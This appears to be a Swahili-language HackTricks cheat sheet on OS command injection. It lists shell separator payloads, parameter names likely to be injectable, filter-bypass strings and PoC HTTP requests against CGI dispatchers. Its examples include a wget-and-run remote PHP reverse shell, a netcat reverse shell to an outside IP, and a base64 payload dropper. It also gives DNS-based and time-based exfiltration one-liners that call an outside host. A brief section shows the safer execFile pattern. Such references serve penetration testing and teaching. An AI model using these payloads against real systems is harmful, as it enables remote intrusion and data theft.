Command Injection

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Command Injection ni nini?

A command injection inaruhusu utekelezaji wa amri yoyote za mfumo wa uendeshaji na mwavamiaji kwenye seva inayohifadhi programu. Kwa hivyo, programu na data zake zote zinaweza kudhulumiwa kabisa. Utekelezaji wa amri hizi kwa kawaida humruhusu mwavamiaji kupata ufikiaji usioidhinishwa au udhibiti wa mazingira ya programu na mfumo wa msingi.

Muktadha

Kulingana na wapi ingizo lako linaingizwa unaweza kuhitajika kumaliza muktadha uliomo ndani ya nukuu (ukitumia " au ') kabla ya amri.

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Limition Bypasses

Ikiwa unajaribu kutekeleza arbitrary commands inside a linux machine, utapenda kusoma kuhusu hizi Bypasses:

Bypass Linux Restrictions

Mifano

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parameters

Hapa kuna vigezo 25 za juu vinavyoweza kuwa nyeti kwa code injection na udhaifu za RCE zinazofanana (from link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Kuchimbua data: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Imetokana na zana kutoka https://github.com/HoLyVieR/dnsbin, pia imehifadhiwa kwenye dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Zana za mtandaoni za kukagua DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Unapokagua back-end za JavaScript/TypeScript, mara nyingi utakutana na API ya Node.js child_process.

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() huanzisha shell (/bin/sh -c), kwa hiyo alama yoyote ambayo ina maana maalum kwa shell (back-ticks, ;, &&, |, $(), …) itasababisha command injection wakati ingizo la mtumiaji linapounganishwa kwenye string.

Kupunguza hatari: tumia execFile() (au spawn() bila chaguo la shell) na toa kila argument kama kipengele tofauti cha array ili shell isiingilie:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 ilitolewa kuwa na udhaifu kupitia tukio la WebSocket lisiloidhinishwa ambalo liliweka data iliyodhibitiwa na mshambuliaji ndani ya id_user ambayo baadaye ilijumishwa katika wito wa exec(), ikipata RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Si injections zote zinahitaji shell metacharacters. Ikiwa programu inapitisha misururu isiyothibitishwa kama vigezo kwa utility ya mfumo (hata kwa execve/execFile na bila shell), programu nyingi bado zitachambua vigezo vyovyote vinavyoanza na - au -- kama chaguo. Hii inamruhusu mshambuliaji kubadili hali, kubadilisha njia za pato, au kuamsha tabia hatarishi bila hata kuingia kwenye shell.

Maeneo ya kawaida ambapo hili hujitokeza:

  • Embedded web UIs/CGI handlers ambazo huunda amri kama ping <user>, tcpdump -i <iface> -w <file>, curl <url>, n.k.
  • Centralized CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) ambapo handlers nyingi zinatumia validator dhaifu sawa.

Nini cha kujaribu:

  • Toa thamani zinazotangulia na -/-- ili zitumiwe kama flags na zana ya chini.
  • Tumia vibaya flags zinazobadilisha tabia au kuandika faili, kwa mfano:
    • ping: -f/-c 100000 kusukuma kifaa kwa mzigo (DoS)
    • curl: -o /tmp/x kuandika kwenye njia yoyote, -K <url> kupakia config inayodhibitiwa na mshambuliaji
    • tcpdump: -G 1 -W 1 -z /path/script.sh kupata utekelezaji baada ya ku-rotate (post-rotate) katika wrappers zisizo salama
  • Ikiwa programu inaunga mkono -- end-of-options, jaribu kupita mitigations za kijinga zinazoweka -- mahali pasipo sahihi.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

Orodha ya Utambuzi ya Brute-Force

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks